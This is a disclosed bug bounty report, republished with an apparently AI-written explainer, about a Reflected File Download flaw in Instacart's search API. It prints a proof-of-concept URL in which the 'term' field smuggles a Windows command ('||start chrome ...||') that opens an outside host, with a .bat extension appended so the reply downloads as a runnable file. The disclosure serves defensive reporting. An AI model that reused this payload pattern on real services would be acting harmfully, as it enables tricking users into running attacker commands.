Reflected File Download on recipe list search
The search API reflected the 'term' parameter unsanitised in a JSON response, and by appending a .bat extension to the endpoint an attacker could make a victim download a malicious batch file from the trusted domain. The attacker could then run commands on the victim's Windows machine if the file was executed.
Originally disclosed on HackerOne
- Triaged in 4 days
- Disclosed after 2 months
Summary by the program
We basically agree with google's assessment on RFD: https://sites.google.com/site/bughunteruniversity/nonvuln/reflected-file-download We consider Reflected File Download as a low impact attack that requires social engineering efforts.
The report
Hi guys,
Right now I'm searching for JSON issues on your API so I started to go deep into the XHR requests. When I noticed the following request: https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1&per=100&max_per_row=7&skip_other_warehouses=true&disable_autocorrect=false&source=web&warehouse_id=129&zone_id=12
Which returned the following output:
{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"xss","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}
I noticed that "term" parameter was reflected on the JSON format output so I tried a Reflected File Download.
Proof-of-concept: https://www.instacart.com/api/v2/searches.bat?cart_id=&term="||start chrome davidsopas.com/poc/malware.htm||&page=1&per=100&max_per_row=7&skip_other_warehouses=true&disable_autocorrect=false&source=web&warehouse_id=129&zone_id=12
Reflecting: {"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":""||start chrome davidsopas.com/poc/malware.htm||","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":["used_or_operator"],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585846},"pagination":{"total":0,"page":1,"per_page":50}}
So I got my RFD attack now (even with URL permissive), next step was to create a special crafted page to force the download: http://0xhack.com/instacart_rfd.htm
Note: You need to be authenticated with a Instacart account.
Check the attached screenshots on latest versions of Chrome and Opera.
So in my proof-of-concept I was able to run a new Google Chrome window with a html file simulating a malicious file on the Windows operative system.
A malicious user could:
1 - Launch a malicious campaign with the specially crafted page - similar to my PoC 2 - Victim downloads the file thinking that is from a trusted domain [instacart.com] 3 - Malicious user gains control over victims machine
This kind of attack is very dangerous and could lead to millions of users infected by malicious campaigns. Possibility of gaining operating system access from Instacart users is a high risk of security.
Solution: Use content-disposition header to force a filename download. Also "term" parameter should be encoded to prevent this kind of reflection on the output.
Hope it helps.
Best, David Sopas @dsopas
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the API reflected user input into a JSON response without encoding and allowed a file extension in the URL path, so the browser saved the response as an executable file.
Impact
A victim who downloads and runs the file could have their machine controlled by the attacker, though the attack requires social engineering and the victim to be logged in.
What the attacker needed
Victim is logged in to Instacart; victim visits attacker page; victim downloads and runs file
The fix
The API should set a Content-Disposition header to force a download filename and encode the 'term' parameter to prevent reflection.
How it was found
- Send a request to the search API with a crafted 'term' value.
- Observe that the value is reflected in the JSON response.
- Append a .bat extension to the API endpoint in the URL.
- Host a page that forces the download of the crafted URL.
- Victim, while logged in, visits the page and downloads the file.
- Victim runs the downloaded file, executing the injected command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you type something into a search box, the website often sends it to a server and shows the result. Here, the server put the search text back into its reply without cleaning it. By adding a file extension like .bat to the address, the reply was saved as a runnable file on Windows. If a victim opened that file, it could run commands on their computer.
What is File upload?
An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.